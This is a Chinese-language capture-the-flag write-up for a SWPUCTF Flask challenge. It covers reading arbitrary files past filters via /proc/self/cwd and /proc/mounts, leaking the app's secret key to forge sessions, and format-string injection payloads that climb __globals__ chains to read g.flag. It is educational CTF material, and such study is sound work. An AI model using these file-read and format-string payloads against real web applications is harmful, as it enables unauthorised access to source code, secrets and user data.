前言
学习题目的思路,不要为了做题而做题,才是最好的学习,一天一道,高质量学习
因为这题去搜了也没搜到源码,只能赛博复现,但是一定要学习到东西,下面的内容参考与https://qvq.im/
开始赛博做题
前期分析
首先是给了tips的
root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/source
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)
得到的提示是需要去读web目录的文件,而且大概需要读 views.py,filename = os.path.join('app/static', filename)可以利用漏洞,这个漏洞就不说了
题目还要tips
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
return abort(404)
就是对读取的限制不能通过 /home/ctf/web/app 绝对路径读取,不能使用 .. 跳转上层目录。
第一想法,通过其他路径去读web目录,在linux一切皆文件
而通过/proc/self/maps 可以看到web路径,但是并不能通过此web路径来直接访问文件,后面出题人说是禁止了直接访问
/etc/mtab文件:
/etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。
/proc/mounts文件:
其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有
查看工作目录
/proc/mounts 或者 /etc/mtab,也可以看到一些东西
发现web
/home/ctf/web_assli3fasdf
但是除了
http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js,其余的文件都读不到
下面就要讲到
/proc 是一个伪文件系统, 被用作内核数据结构的接口
系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link。
/proc/[pid]/cwd 是进程当前工作目录的符号链接。
file=/proc/self/cwd/app/views.py就可以读到文件源码
代码审计
root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/static?file=/proc/self/cwd/app/views.py
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app
直击getflag
if not u or u.balance < 1000000:
在函数中,首先通过全局变量 g 获取当前用户对象 u既为admin,如果用户不存在或用户余额小于 1000000,则返回错误信息。
其实很明显嘛,key都出来了,伪造session嘛,这里我就跳过了,然后去买flag
然后不知道有什么卵用,下面是很明显的字符串格式化漏洞
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
然后我们发现field是我们可控的
field = request.form.get('field', 'username')
我们就是要获取 g.flag = 'swpuctf{xxxxxxxxxxxxxx}',要找到g属性
class 是一个特殊的属性,它表示一个对象所属的类
显示为app.models.User,说明类的继承为user->models->app,所以应该先向上到models再到app,再读g.flag
我们需要跳到models模块,我们先去看源码,我们要找到models类
__init__.py的源码:
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = 'anUEALvo7fV3KdwwiEYd'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'
register_views(app)
db.init_app(app)
return app
我们只需要获取db,就可以跳转到modles,然后有tips,
我们尝试去获取save的模块
__class__.save.__globals__它将返回 save 方法所在模块的全局命名空间。发现有db,然后我们需要跳转到app类。
首先看一下flask源码:
from .app import Flask, Request, Response
from .config import Config
from .helpers import url_for, flash, send_file, send_from_directory,
get_flashed_messages, get_template_attribute, make_response, safe_join,
stream_with_context
from .globals import current_app, g, request, session, _request_ctx_stack,
_app_ctx_stack
flask_sqlalchemy/__init__.py
from flask import _app_ctx_stack, abort, current_app, request
g和current_app在同一个空间,因此我们只需要到current_app的空间,我们在这里__class__.save.__globals__[db].__class__.__init__.__globals__[current_app]
就可以得到,然后就是要去获取g
可以发现其下有g.flag
所以field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
成功获得,当然方法非常多,慢慢跳呗
save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag